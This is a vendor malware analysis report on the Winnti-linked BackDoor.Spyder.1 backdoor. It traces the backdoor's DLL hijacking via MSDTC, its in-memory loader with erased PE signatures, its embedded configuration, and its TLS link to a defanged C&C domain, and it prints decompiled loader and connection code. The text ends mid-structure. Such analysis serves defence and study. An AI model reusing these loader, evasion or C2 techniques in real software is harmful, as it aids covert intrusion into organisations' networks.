

# Study of the Spyder modular backdoor for targeted attacks

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# Study of the Spyder modular backdoor for targeted attacks 3/4/2021

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# Introduction

In December 2020, the Doctor Web virus laboratory was contacted by a telecommunications company based in Central Asia after its employees discovered suspicious files on their corporate network. During the examination, our analysts extracted and studied a malicious sample, which turned out to be one of the backdoors used by the hacker group known as **Winnti**.

We already came across the malware Winnti uses when we studied the **ShadowPad** backdoor samples that we found in the compromised network of a state institution in Kyrgyzstan. In addition, earlier in the same network, we found another specialized backdoor called **PlugX**, which has many intersections with **ShadowPad** in the code and network infrastructure. A <u>separate material</u> was devoted to the comparative analysis of both families.

In this study, we analyze the uncovered malicious module, explore its algorithms and features, and define its connection with other well-known tools of the Winnti APT group.



# **Main features**

On the infected device, the malicious module was located in the system directory C: \Windows\System32 as oci.dll. Thus, the module was prepared for launch by the MSDTC (Microsoft Distributed Transaction Coordinator) system service using the DLL Hijacking method. According to our data, the file got to the computers in May 2020, but the method of initial infection remains unknown. The Event Log contained records of the creation of services designed to start and stop MSDTC, as well as for the backdoor execution.

```
Log Name: System
Source: Service Control Manager
            23.11.2020 5:45:17
Date:
Event ID: 7045
Task Category: None
Level: Information
Keywords:
            Classic
            <redacted>
User:
Computer: <redacted>
Description:
A service was installed in the system.
Service Name: IIJVXRUMDIKZTTLAMONQ
Service File Name: net start msdtc
Service Type: user mode service
Service Start Type: demand start
Service Account: LocalSystem
```

```
Log Name: System
Source: Service
            Service Control Manager
Date:
            23.11.2020 5:42:20
Event ID: 7045
Task Category: None
Level: Information
Keywords: Classic
User:
            <redacted>
Computer: <redacted>
Description:
A service was installed in the system.
Service Name: AVNUXWSHUNXUGGAUXBRE
Service File Name: net stop msdtc
Service Type: user mode service
Service Start Type: demand start
Service Account: LocalSystem
```

We also found traces of other services running that had random names. Their files were located in directories like C:\Windows\Temp\<random1>\<random2>, where random1 and random2 are strings of random length and random Latin characters. At the time of the study, these services' executable files were missing.

An interesting find was a service that indicates the use of a smbexec.py utility for remote code execution from the <u>Impacket</u> set. The attackers used this tool to establish remote access to the command shell in a semi-interactive mode.


🛃 Event Properties -	Event 7045, Service Control M	lanager				×
	DBTO %COMSPEC% /Q /c echo cd at & %COMSPEC% /Q /c %TE mode service			ecute.bat	^ >	
Log Na <u>m</u> e:	System					
Source:	Service Control Manager	Logge <u>d</u> :	24.11.2020 10:10:44			
Event ID:	7045	Task Category:	None			
<u>L</u> evel:	Information	Keywords:	Classic			
<u>U</u> ser:		Compute <u>r</u> :				
<u>O</u> pCode:	Info					
More Information:	Event Log Online Help					
Сору					<u>C</u>	lose

The studied malicious sample was added to the Dr.Web virus database as **BackDoor.Spyder.1**. In one of the discovered **Spyder** samples, the debug logging functions and messages remained. Messages used when communicating with the C&C server contained the string "Spyder". 😻 Dr.WEB

10064C6C 5B 53 70 79 64 65 72+aSpyderRegister db '[Spyder] register mod %d error = %u.',0Ah,0 10064C6C 5D 20 72 65 67 69 73+ ; DATA XREF: sub 10042110+A01o 10064C92 00 00 align 4 10064C94 ; const char aSpyderClientMo[] 10064C94 5B 53 70 79 64 65 72+aSpyderClientMo db '[Spyder] client module init error = %d.',0 ; DATA XREF: sub\_10042110+4Dto 10064C94 5D 20 63 6C 69 65 6E+ 10064CBC ; const char aSpyderSetCaFor[] 10064CBC 5B 53 70 79 64 65 72+aSpyderSetCaFor db '[Spyder] set ca for client id=%u error=%d',0 10064CBC 5D 20 73 65 74 20 63+ ; DATA XREF: sub 10042600+1C71o 10064CE6 00 00 align 4 10064CE8 ; const char aSpyderAllocCli\_0[] 10064CE8 5B 53 70 79 64 65 72+aSpyderAllocCli\_0 db '[Spyder] ALLOC client uid = %u.',0 10064CE8 5D 20 41 4C 4C 4F 43+ ; DATA XREF: sub\_10042600+118↑o ; const char aSpyderAllocCli[] 10064D08 10064D08 5B 53 70 79 64 65 72+aSpyderAllocCli db '[Spyder] alloc client error = %d.',0 10064D08 5D 20 61 6C 6C 6F 63+ ; DATA XREF: sub 10042600+1021o 10064D2A 00 00 align 4 10064D2C ; const char aSpyderServerAd[] 10064D2C 5B 73 70 79 64 65 72+aSpyderServerAd db '[spyder] server address already exists in conf list.',0 10064D2C 5D 20 73 65 72 76 65+ ; DATA XREF: sub\_10042600+951o 10064D61 00 00 00 align 4 10064D64 ; const char aSpyderProxySet[] 10064D64 5B 53 70 79 64 65 72+aSpyderProxySet db '[Spyder] proxy setting exists, srv=%s',0

The backdoor is notable for a number of interesting features. First, oci.dll contains the main PE module, but with missing file signatures. Erasing the header signatures was presumably done to obstruct the backdoor detection in the device's memory. Secondly, the payload itself does not carry malicious functionality, but serves to load and coordinate additional plug-ins received from the C&C server. With these plug-ins, the backdoor performs its main tasks. Therefore, this family has a modular structure, just like the other backdoor families used by Winnti — the previously mentioned **ShadowPad** and **PlugX**.

Analysis of **Spyder**'s network infrastructure revealed a link to other Winnti attacks. In particular, the infrastructure used by the **Crosswalk** and **ShadowPad** backdoors described in the Positive Technologies <u>study</u> corresponds with some of the **Spyder** samples. The graph below clearly shows the identified intersections.





# Conclusion

The analyzed sample of **BackDoor.Spyder.1** is notable primarily because its code does not perform direct malicious functions. Its main tasks are to covertly operate within the infected system and establish communication with the control server and then wait for operator commands. At the same time, it has a modular structure that allows the operator to scale its capabilities, providing any functionality depending on the needs of the attackers. The plug-ins make the considered sample similar to **ShadowPad** and **PlugX**, which, together with the intersections in their network infrastructures, allows us to conclude that it is used by Winnti.

### BackDoor.Spyder.1 operating routine

A backdoor written in C++ and designed to run on 64-bit Microsoft Windows operating systems. It is used for targeted attacks on information systems, collecting information about an infected device, loading functional malicious modules, coordinating their work, and providing communication with the C&C server. In the infected system, it exists as a DLL file and is loaded by the system service using the DLL Hijacking method. After injection, it functions in the computer's RAM.

The backdoor is a malicious DLL file. The function names in its export table duplicate the exported functions of the apphelp.dll system library.

```
.rdata:00000018000FC58 ; Export Ordinals Table for dll
.rdata:00000018000FC58
.rdata:000000018000FC58 word_18000FC58 dw 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh
.rdata:00000018000FC58
                                                                                                     00F7641o
                                                                       DATA XREF
                                                                                    rdata:000
.rdata:000000018000FC58
                                           dw 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h
.rdata:000000018000FC58
                                           dw 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h, 21h, 22h, 23h, 24h
.rdata:000000018000FC58
                                           dw 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh, 2Ch, 2Dh, 2Eh, 2Fh
.rdata:000000018000FC58
                                          dw 30h, 31h, 32h, 33h, 34h, 35h, 36h, 37h, 38h, 39h, 3Ah
.rdata:000000018000FC58
                                          dw 3Bh, 3Ch, 3Dh, 3Eh, 3Fh, 40h, 41h, 42h, 43h, 44h, 45h
.rdata:00000018000FC58
                                           dw 46h, 47h, 48h, 49h, 4Ah, 4Bh, 4Ch, 4Dh, 4Eh, 4Fh, 50h
.rdata:00000018000FC58
                                          dw 51h, 52h, 53h, 54h, 55h, 56h, 57h, 58h, 59h, 5Ah, 5Bh
.rdata:00000018000FC58
                                           dw 5Ch, 5Dh, 5Eh, 5Fh, 60h, 61h, 62h, 63h, 64h, 65h, 66h
                                          dw 67h, 68h, 69h, 6Ah, 6Bh, 6Ch, 6Dh, 6Eh, 6Fh, 70h, 71h
dw 72h, 73h, 74h, 75h, 76h, 77h, 78h, 79h, 7Ah, 78h, 7Ch
.rdata:00000018000EC58
.rdata:000000018000FC58
.rdata:000000018000FC58
                                           dw 7Dh, 7Eh, 7Fh, 80h, 81h, 82h, 83h, 84h, 85h, 86h, 87h
.rdata:000000018000FC58
                                           dw 88h, 89h, 8Ah, 8Bh, 8Ch, 8Dh, 8Eh, 8Fh, 90h, 91h, 92h
.rdata:00000018000FC58
                                           dw 93h, 94h, 95h, 96h, 97h, 98h, 99h, 9Ah, 9Bh, 9Ch, 9Dh
db 'dll',0 ; DATA XREF: .rdata:000000018000
                                                                     ; DATA XREF: .rdata:00000018000F74Cto
.rdata:000000018000FD94 aDll
.rdata:00000018000FD98 aAllowpermlayer db 'AllowPermLayer',0
                                                                    ; DATA XREF: .rdata:off 18000F9E01o
.rdata:00000018000FDA7 ; Exported entry
                                             1. AllowPermLayer
.rdata:000000018000FDA7
                                           public AllowPermLayer
.rdata:00000018000FDA7 AllowPermLayer db 'c:\windows\system32\apphelp.AllowPermLayer',0
.rdata:00000018000FDA7
                                                                       DATA XREF: .rdata:off
                                                                                               18000F7681o
.rdata:00000018000FDD2 aApprocessor
.rdata:00000018000FD22 ; Exported entry 2. ApphelpCheckExe
public ApphelpCheckExe
.rdata:000000018000FDD2 aApphelpcheckex db 'ApphelpCheckExe',0 ; DATA XREF: .rdata:off 18000F9E0to
.rdata:000000018000FDE2 ApphelpCheckExe db 'c:\windows\system32\apphelp.ApphelpCheckExe',0
.rdata:000000018000FDE2 ; DATA XREF: .rdata:off_18000F768to
.rdata:000000018000FE0E aApphelpcheckim db 'ApphelpCheckIME',0 ; DATA XREF: .rdata:off_18000F9E0to
.rdata:000000018000FE1E ; Exported entry
                                              ApphelpCheckIME
.rdata:000000018000FE1E
                                           public ApphelpCheckIME
.rdata:00000018000FE1E ApphelpCheckIME db 'c:\windows\system32\apphelp.ApphelpCheckIME',0
                                                                                    .rdata:off_18000F768↑o
.rdata:000000018000FE1E
                                                                       DATA XREE .
.rdata:000000018000FE4A aApphelpcheckin db 'ApphelpCheckInstallShieldPackage',0
.rdata:000000018000FE4A
                                                                                    .
.rdata:off 18000F9E0↑o
.rdata:000000018000FE6B ; Exported entry 4. ApphelpCheckInstallShieldPackage
.rdata:00000018000FE6B
                                           public ApphelpCheckInstallShieldPackage
.rdata:000000018000FE6B ApphelpCheckInstallShieldPackage db 'c:\windows\system32\apphelp.ApphelpCheckInstallShieldPackage',0
```

On the infected computer, the backdoor file was located in C:\Windows\System32\oci.dll catalog. The file's original name from the export table is dll. It was loaded by the MSDTC system service using the DLL Hijacking method (Microsoft Distributed Transaction Coordinator Service).

From a functional point of view, the sample is a loader for the main payload, which is stored in the .data section as a DLL, with some elements of the DOS and PE headers equal to zero.

.data:000000180013020 00 00 00 00 00 00 00+paylcad	IMAGE_DOS_HEADER <0, 0, 0, 0, 0, 0, 0,	0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
.data:0000000180013020 00 00 00 00 00 00 00 00+	; DATA XREF: m	
.data:0000000180013020 00 00 00 00 00 00 00 00+	0, 0F8h>	
.data:0000000180013060 00	db 0	
.data:0000000180013061 00	db 0	
.data:0000000180013062 00	db 0	
.data:0000000180013063 00	db 0	
.data:0000000180013064 00	db Ø	
.data:0000000180013065 00	db Ø	
	<b>ub</b> 0	
.data:000000180013118 00 00 00 00 00 00 06+	dd 0 ; Signature	
.data:000000180013118 00 00 00 00 00 00 00+	dw 0 ; FileHeader.M	
.data:000000180013118 00 00 00 00 00 00 F0+		NumberOfSections
.data:000000180013118 00 00 00 00 00 00 00+		TimeDateStamp
.data:000000180013118 00 00 00 00 00 00 00+		PointerToSymbolTable
.data:000000180013118 00 00 00 00 00 80 CD+		NumberOfSymbols
.data:000000180013118 05 00 00 00 00 00 00+		SizeOfOptionalHeader
.data:000000180013118 00 00 80 01 00 00 00+	dw 0 ; FileHeader.(	Tharacteristics
.data:000000180013118 00 10 00 00 00 02 00+	dw 0 ; OptionalHead	
.data:000000180013118 00 00 00 00 00 00 00+	db 0 ; OptionalHead	ler.MajorLinkerVersion
.data:000000180013118 00 00 00 00 00 00 00+	db 0 ; OptionalHead	ler.MinorLinkerVersion
.data:000000180013118 00 00 00 00 F0 09 00+	dd 0 ; OptionalHead	ler.SizeOfCode
.data:000000180013118 00 04 00 00 00 00 00+	dd 0 ; OptionalHead	der.SizeOfInitializedData
.data:000000180013118 00 00 00 00 00 00 00+	dd 0 ; OptionalHead	der.SizeOfUninitializedData
.data:000000180013118 00 00 00 00 00 00 00+	dd 5CD80h ; OptionalHead	ler.AddressOfEntryPoint
.data:000000180013118 00 00 00 00 00 00 00+	dd 0 ; OptionalHead	ler.BaseOfCode
.data:000000180013118 00 00 00 00 00 00 00+	dq 18000000h ; OptionalHead	der.ImageBase
.data:000000180013118 00 00 00 00 00 00 00+	dd 1000h ; OptionalHead	der.SectionAlignment
.data:000000180013118 00 00 00 00 00 00 00+	dd 200h ; OptionalHead	der.FileAlignment
.data:000000180013118 00 00 00 70 CC 08 00+	dw 0 ; OptionalHead	der.MajorOperatingSystemVersion
.data:000000180013118 2E 00 00 00 54 B9 08+	dw 0 ; OptionalHead	ler.MinorOperatingSystemVersion
.data:000000180013118 00 DC 00 00 00 00 DO+		ler.MajorImageVersion
.data:000000180013118 09 00 B8 02 00 00 00+		der.MinorImageVersion
.data:000000180013118 70 09 00 5C 52 00 00+		ler.MajorSubsystemVersion
.data:000000180013118 00 00 00 00 00 00 00+	dw 0 ; OptionalHead	ler.MinorSubsystemVersion
.data:000000180013118 00 00 E0 09 00 00 08+	dd 0 ; OptionalHead	der.Win32VersionValue
.data:000000180013118 00 00 00 00 00 00 00+	dd 9F000h ; OptionalHead	ler.SizeOfImage
.data:000000180013118 00 00 00 00 00 00 00+		ler.SizeOfHeaders
.data:000000180013118 00 00 00 00 00 00 00+	dd 0 ; OptionalHead	der.CheckSum
.data:000000180013118 00 00 00 00 00 00 00+	dw 0 ; OptionalHead	ler.Subsystem
.data:000000180013118 00 00 00 00 00 00 00+		der.DllCharacteristics
.data:0000000180013118 00 00 00 00 00 00 00+		ler.SizeOfStackReserve
.data:0000000180013118 00 00 00 00 00 00 00 00+		ler.SizeOfStackCommit
.data:0000000180013118 00 00 D0 06 00 F8 05+		ler.SizeOfHeapReserve
.data:0000000180013118 00 00 00 00 00 00 00+		ler.SizeOfHeapCommit
.data:0000000180013118 00 00 00 00 00 00 00 00+		der.LoaderFlags
.data:0000000180013118 00 00 00 00 00 00 00 00+	· · · · · · · · · · · · · · · · · · ·	ler.NumberOfRvaAndSizes
.data:0000000180013118 00 00 00 00 00	······································	der.DataDirectory.VirtualAddress
.data:000000180013118		ler.DataDirectory.Size
.data:000000180013118	, , , , , , , , , , , , , , , , , , , ,	der.DataDirectory.VirtualAddress
.data:0000000180013118	, , , , , , , , , , , , , , , , , , , ,	ler.DataDirectory.Size
.data:0000000180013118		der.DataDirectory.VirtualAddress
.data:0000000180013118	2 I	ler.DataDirectory.Size
.data:0000000180013118	2 I I I I I I I I I I I I I I I I I I I	ler.DataDirectory.VirtualAddress
.data:000000180013118		ler.DataDirectory.Size
.data:0000000180013118	··· ··· · · · · · · · · · · · · · · ·	der.DataDirectory.VirtualAddress
.data:0000000180013118		ler.DataDirectory.Size
.data:0000000180013118		der.DataDirectory.VirtualAddress
.data:000000180013118		ler.DataDirectory.Size
.data:0000000180013118		der.DataDirectory.VirtualAddress
.data:0000000180013118	, -p	ler.DataDirectory.Size
	ad o j opcionaliteat	



#### The loader operation

Loading is performed in a function designated as malmain\_3 and called from the DLL entry point via two transitional functions.

```
__int64 __stdcall malmain_3(void *payload, FARPROC pLoadLibrary, FARPROC pGetProcAddress, FARPROC pFreeLibrary, void *a5)
{
    IMAGE_NT_HEADERS64 *v9; // rsi
    char *v10; // rbp
    HANDLE v12; // rax
    loader_struc *v13; // rax
    loader_struc *v14; // rdi
    char *v15; // rbx
    IMAGE_NT_HEADERS64 *v16; // rax
    __int64 v17; // rax
    if ( *(_WORD *)payload != 'ZM')
        SetLastError(ERROR_BAD_EXE_FORMAT);
        v9 = (IMAGE_NT_HEADERS64 *)((char *)payload + *((int *)payload + '\x0F'));
        if ( v)>Signature != 'EP')
        SetLastError(ERROR_BAD_EXE_FORMAT);
```

First, the header signatures are checked. If they are not standard, the ERROR\_BAD\_EXE\_FORMAT error value is set; however, this action does not affect the loader operation in any way.

The memory for the image is then allocated according to the IMAGE\_NT\_HEADERS64.OptionalHeader.SizeOfImage value, and the loader\_struc auxiliary structure is formed.

```
struct loader_struc
{
    IMAGE_NT_HEADERS64 *pPE_header;
    LPVOID ImageBase;
    HMODULE *p_imported_modules
    QWORD number_of_imported_modules
    HMODULE (__stdcall *pLoadLibrary)(LPCSTR lpLibFileName);
    FARPROC (__stdcall *pGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
    BOOL (__stdcall *pFreeLibrary)(HMODULE hLibModule);
    QWORD unk;
};
```

This is followed by the standard process of loading the PE module into memory and calling the loaded module's entry point (DllMain) with the DLL\_PROCESS\_ATTACH argument, and after exiting it, calling it again with DLL\_PROCESS\_DETACH.

#### The main module operation

In the main module, the values of all signatures required for the correct file loading are equal to zero.

- IMAGE\_DOS\_HEADER.e\_magic
- IMAGE\_NT\_HEADERS64.Signature

• IMAGE\_NT\_HEADERS64.FileHeader.Magic

In addition, TimeDateStamp and section names also have a null value. The remaining values are correct, thus after manually editing the necessary signatures, the file can be downloaded for analysis as a proper PE module.

The analysis of the main module is complicated, since atypical methods of calling functions are periodically used. The <u>UT hash</u> library is used for storing and processing structures. It allows one to convert standard C structures to hash tables by adding a single member of the <u>ut\_hash\_handle</u> type. All library functions, such as adding elements, search, delete, etc., are implemented as macros, which leads them to be forcibly inlined by the compiler in the code of the main (calling) function.

The mbedtls library is used to interact with the C&C server.

#### **DllMain function**

At the beginning of execution, the Global\\BFE\_Notify\_Event\_{65a097fe-6102-446a-9f9c-55dfc3f45853}, event, execution mode (from the configuration), and the command line are checked, then the operating threads are started.

# 😻 Dr.WEB

```
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
 unsigned int cfg_exec_mode; // edx
 HANDLE v4; // rax
 unsigned int (__stdcall *v5)(void *); // r8
  if ( fdwReason == DLL PROCESS ATTACH && g DLL reason != DLL PROCESS ATTACH )
  {
   g_DLL_reason = DLL_PROCESS_ATTACH;
   if ( !check_event("Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f45853}") )
    {
     cfg_exec_mode = g_p_builtin_config->exec_mode;
     if ( g_p_builtin_config->exec_mode )
     {
       if ( cfg_exec_mode <= 2 )</pre>
        {
         if ( cmp_current_process_cmdline("-k netsvcs") )
         {
            hEvent = create_event("Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f45853}");
            hThread_1 = beginthreadex(0i64, 0, thread_1_main, 0i64, 0, 0i64);
            beginthreadex(0i64, 0, thread_2_get_new_C2_start_communication, 0i64, 0, 0i64);
            if ( g_p_builtin_config->exec_mode == 2 )
            ł
              v5 = thread 4 execute encrypted module;
              goto LABEL_11;
            }
         }
        }
       else if ( cfg_exec_mode == 3 )
        ł
         hEvent = create_event("Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f45853}");
         v4 = beginthreadex(0i64, 0, thread_1_main, 0i64, 0, 0i64);
         v5 = thread_2_get_new_C2_start_communication;
         hThread 1 = v4;
LABEL 11:
         beginthreadex(0i64, 0, v5, 0i64, 0, 0i64);
         return 1;
       }
     }
   }
  }
  return 1:
```

The module has an embedded configuration with the following structure:

```
struct cfg_c2_block
{
    int type;
    char field_4[20];
    char addr[256];
}
struct cfg_proxy_data
{
    DWORD dw;
    char str[256];
    char proxy_server[256];
    char username[64];
    char password[32];
    char unk[128];
};
```

```
struct builtin config
{
   int exec mode;
   char url_C2_req[100];
   char hash id[20];
   char string[64];
   char field_BC;
   cfg c2 block srv 1;
   cfg c2 block srv 2;
   cfg_c2_block srv_3;
   cfg_c2_block srv_4;
   cfg_proxy_data proxy_1;
   cfg_proxy_data proxy_1;
   cfg proxy data proxy 1;
   cfg_proxy_data proxy_1;
   int CA_cert_len;
   char CA_cert[cert_len];
};
```

The <code>hash</code> field contains a value that can be an identifier. This value is used when communicating with the C&C server and can be represented as a

b2e4936936c910319fb3d210bfa55b18765db9cc string, which is the same length as the SHA1 hashes.

The string field contains a single character string: 1.

CA\_cert is a certificate of the certificate authority in the DER format. It is used to establish a connection to the C&C server over the TLS 1.2 protocol.

000000018008E0D0	00	30	82	05	81	30	82	03	69	۵۵	03	02	01	02	02	<b>Ø</b> 1	.0,.ŕ0,.i
000000018008E0E0				_	_	2A		_					01				.0*†H†ч
000000018008E0E0						15					_		ØE		_		0H1.0USec
000000018008E100	75	72	65	54	72	75	73	74			_		20	_	_		ureTrust · CA1 · 0
000000018008E110	03	55	04	0A	13	17	53	65				_	54	_	_		.USecureTrus
000000018008E120						70							6E				t.Corporation1.0
000000018008E130	09					06	_						17				UUS011
000000018008E140	30	31	30	31	30	30	30	30	30	30	5A	17	ØD	32	35	31	0101000000Z251
000000018008E150	32	33	31	32	33	35	39	35	39	5A	30	48	31	17	30	15	231235959Z0H1.0.
000000018008E160	06	03	55	04	03	13	ØE	53	65	63	75	72	65	54	72	75	USecureTru
000000018008E170	73	74	20	43	41	31	20	30	1E	06	03	55	04	ØA	13	17	st.CA1.0U
000000018008E180	53	65	63	75	72	65	54	72	75	73	74	20	43	6F	72	70	SecureTrust · Corp
000000018008E190	6F	72	61	74	69	6F	6E	31	ØB	30	09	06	03	55	04	06	oration1.0U.
000000018008E1A0	13	02	55	53	30	82	02	22	30	ØD	06	09	2A	86	48	86	US0,."0*†H†
000000018008E1B0	F7	ØD	01	01	01	05	00	03	82	02	ØF	00	30	82	02	ØA	ч
000000018008E1C0	02	82	02	01	00	BD	C3	26	8B	E1	37	7F	FØ	FA	ØA	ØD	.,SГ&<67.ръ
000000018008E1D0	83	A7	DD	22	31	14	83	08	D7	74	3B	31	08	84	EF	25	ŕ§∋"1.ŕ.4t;1."n%
000000018008E1E0	CF	2D	44	FC	2D	54	77	ØB	17	E2	70	4D	BE	2F	<b>C1</b>	FC	П-Dь-ТwврМs/Бь
000000018008E1F0	ED	D9	6B	9E	DB	60	28	27	C4	1E	6D	15	3D	DD	B9	43	нЩкћы`('Д.т.=Э№С
000000018008E200	64	37	58	Β4	BD	48	85	FA	D1	D6	F7	5A	33	EB	EC	B7	d7Xr'SHъСЦчZ3лм•
000000018008E210	86	62	92	1F	89	D7	A4	BD	D3	1F	F3	18	9D	A4	15	27	†b'.‰Ч¤ЅУ.у.ќ¤.'
000000018008E220	16	7B	26	9F	5C	53	87	BD	40	22	D2	5E	CD	AB	D5	6F	.{&u\S‡S@"T^H«Xo
000000018008E230	1D	AC	C3	ØD	F1	D9	D5	F5	6A	D3	16	76	58	DF	F7	ØB	.¬Г.сЩХхјУ.vХЯч.
000000018008E240	20	ØD	ED	7B	97	AE	66	ØA	E6	СС	9F	73	50	FB	CE	16	·.н{—®f.жМџsРыО.
000000018008E250	A6	DC	45	D0	2F	70	3E	C8	C8	59	4D	<b>C</b> 4	62	EC	BØ	E9	ЬЕР/р>ИИҮМДЬм°й
																	-

Certificate information can be found in the <u>Addendum No. 1</u> to the study.

The DllMain function enables for the creation of multiple operating threads depending on a number of conditions.

- Main thread thread\_1\_main
- New server request thread thread 2 get new C2 start communication
- Encrypted module execution thread thread 4 execute encrypted module

For execution, the value of the builtin\_config.exec\_mode parameter must be non-zero.

- If the builtin\_config.exec\_mode value is 1 or 2, and the process command line contains the -k netsvcs substring, the main thread and the thread for getting the new C&C server address are started;
- If builtin\_config.exec\_mode is equal to 2, a thread that decrypts and runs the module stored in the system is started;
- If the value is 3, the main thread and the thread for getting the new C&C server address are started.

In the examined sample, the value of the exec mode parameter is 3.

#### The main thread

First, the backdoor checks the OS version then prepares a structure for initializing functions and a structure for storing a certain configuration fields. The procedure looks artificially complicated.

```
funcs_struc.field_18 = 0i64;
l_config.hash_id[0] = 0;
funcs_struc.p_fn_init_funcs_struct_0_1 = initializer_callback_1;
funcs_struc.p_fn2 = initializer_callback_2;
funcs_struc.p_fn3 = initializer_callback_3;
*&l_config.hash_id[1] = 0i64;
*&l_config.hash_id[9] = 0i64;
*&l_config.hash_id[17] = 0;
l_config.hash_id[19] = 0;
memset(l_config.string, 0, 0x4Dui64);
l_config.field_54 = g_p_builtin_config->field_BC;
strncpy(l_config.string, g_p_builtin_config->mb_string, 0x3Fui64);
*l_config.hash_id = *g_p_builtin_config->hash_id;
*&l_config.hash_id[16] = *&g_p_builtin_config->hash_id[0x10];
if ( g_p_builtin_config->mb_cert_len )
ł
  l_config.p_cert = &g_p_builtin_config->cert;
  l_config.cert_len = g_p_builtin_config->mb_cert_len;
if ( init_global funcs and allocated cfg(&l config, &funcs struc) )
```

3 pointers to functions are inserted to the funcs\_struc structure of the funcs\_1 type that will be called in turn inside the init\_global\_funcs\_and\_allocated\_cfg function.

```
_int64 __stdcall init_global_funcs_and_allocated_cfg(allocated_cfg *p_var_cfg, funcs_1 *p_funcs)
void *v5; // rax
__int64 v6; // rbx
unsigned int v7; // ebx
unsigned int v8; // ecx
void *v9; // rcx
if ( !p var cfg )
 return 0i64;
if ( g_funcs_and_allocated_cfg_initialized )
 return 1i64;
if ( init_WSA_and_crit_sect_0() )
 return 0i64;
v5 = p_funcs->p_fn_init_funcs_struct_0_1;
v6 = 0i64;
if ( p_funcs->p_fn_init_funcs_struct_0_1 )
{
  do
  {
    set_global_funcs_by_callbacks(v5);
    v5 = *(&p funcs->p fn2 + v6++);
```

In the set\_global\_funcs\_by\_callbacks function, each initializer function is called in turn.

The general order of structure forming is as follows:

- 1) Two structures are passed to each function: the first contains pointers to some functions; the second is empty.
- 2) Each function transfers function pointers from one structure to another.
- 3) After calling the initializer function, the function pointers are moved from the local structure to the global array of structures at a certain index.



As a result, after all the unusual transformations, a certain number of global structures that are combined into a single array remain.

```
seg003:000000180094C70 g_struc_1_3 gfuncs_1_3 <?>
seg003:0000000180094C70
seg003:0000000180094CC0 g_struc_1_2 gfuncs_1_2 <?>
seg003:0000000180094C00
seg003:0000000180094D10 ; struc_1 g_struc_1_uninit
seg003:0000000180094D10 g_struc_1_uninit struc_1 <?>
seg003:0000000180094D10
seg003:0000000180094D10
seg003:0000000180094D10
```

Ultimately, the function call can be represented as follows.

```
seg000:00000018004CFF6
seg000:00000018004CFF6 srv_type_2_3: ; _QWORD
seg000:000000018004CFF6 mov r9, [r9+connection_obj.p_session_1_ssl]
seg000:000000018004CFFA mov r8d, [rbx+struc_11.net_context.WSA_error]; _QWORD
seg000:000000018004CFFE mov ecx, [rbx+struc_11.net_context.key_id]; _QWORD
seg000:000000018004D001 mov edx, 1 ; _QWORD
seg000:000000018004D006 call cs:g_struc_1_2.init_ssl_and_make_handshake; 0x1800014D0
seg000:00000018004D00C jmp short loc_18004D03C
```

The use of complex transformations like copying local structures with functions and transferring them to global structures is probably intended to complicate the analysis of a malicious sample.

The backdoor then uses the UT hash library to generate a hash table of service structures responsible for storing the network connection context, connection parameters, etc.

Below is the fragment of the hash table generation code.

```
classes = c
```

It is worth noting that the hash table contains a signature value that allows one to determine the library used: g\_p\_struc\_10->hh.tbl->signature = 0xA0111FE1;.

The backdoor in question is characterized by the distribution of relevant fields and data across several structures created specifically for this purpose. This feature makes it difficult to create meaningful names for structures during analysis.

After the preparatory steps, the backdoor proceeds to initialize the connection to the C&C server.

#### Initializing the connection to the C&C server

It is noteworthy that the program code associated with the network connection contains its own error codes, in addition to the codes from the mbedtls library.



A list of error codes found in the sample.

```
enum ERROR CODES
{
    ERROR CODE 1392 = 0 \times 1392,
    ERROR BAD ARGS = 0 \times 5208,
    ERROR CODE 520B = 0x520B,
    ERROR CODE 520D = 0 \times 520D,
    ERROR CODE 59D8 = 0 \times 59D8,
    ERROR CODE 59DB = 0 \times 59DB,
    ERROR_CODE 59DC = 0 \times 59DC,
    ERROR INVALID ARGUMENT = 0 \times 59 DE_{1}
    ERROR CODE 59DF = 0 \times 59DF,
    ERROR CODE 61A8 = 0 \times 61A8,
     ERROR BAD ALLOCATION = 0 \times 61A9,
     ERROR BAD PACKET SIGNATURE = 0 \times 61 \text{AA},
    ERROR CODE 61AB = 0 \times 61AB,
    ERROR CODE 61AC = 0 \times 61AC,
     ERROR CODE 61AD = 0 \times 61AD,
```

```
ERROR_CODE_61AF = 0x61AF,
ERROR_CODE_61B0 = 0x61B0,
ERROR_CODE_61B1 = 0x61B1,
ERROR_BUFFER_NOT_EMPTY = 0x61B2,
ERROR_CODE_6590 = 0x6590,
ERROR_CODE_6592 = 0x6592,
ERROR_BAD_ALLOC = 0x6593,
};
```

After a series of preparatory actions, the backdoor resolves the address of the C&C server stored in the configuration and retrieves the port. Addresses in the configuration are stored as strings: koran.junlper[.]com:80 and koran.junlper[.]com:443. Next, the program creates a TCP socket for the connection. After that, it creates a context for the secure connection and performs a TLS handshake.

```
v15 = mbedtls ssl setup(&bio->ssl, v9);
 if ( v15 )
  {
LABEL 22:
   free(bio);
   return v15;
  3
 bio->ssl.f_send = (mbedtls_ssl_send_t *)f_send_wrap;
 bio->ssl.p_bio = bio;
 bio->ssl.f_recv_timeout = 0i64;
 bio->ssl.f_recv = (mbedtls_ssl_recv_t *)f_recv;
  g_struc0_2.append_session_to_connection_settings(1i64, key_id, bio);
  if ( use_cfg_key )
  {
    error_message[0] = 0;
    memset(&error_message[1], 0, 0x103ui64);
   v16 = mbedtls_ssl_handshake(&bio->ssl);
   v15 = v16;
    if ( v16 == MBEDTLS_ERR_SSL_WANT_READ || v16 == MBEDTLS_ERR_SSL_WANT_WRITE )
    {
      v15 = 0;
    }
    else if ( v16 )
    ł
      mbedtls_strerror(v16, error_message, 0x104ui64);
      return ERROR_CODE_61AF;
  }
  return v15;
}
```

After establishing secure connection, the backdoor expects a packet with a command from the C&C server. The program works with two packet formats:

- 1. The packet received after processing the TLS protocol is a "transport" packet.
- 2. The packet received after processing the transport packet is a "data" packet. It contains the command ID and additional data.



The transport packet header is represented by the following structure.

```
struct transport_packet_header
{
    DWORD signature;
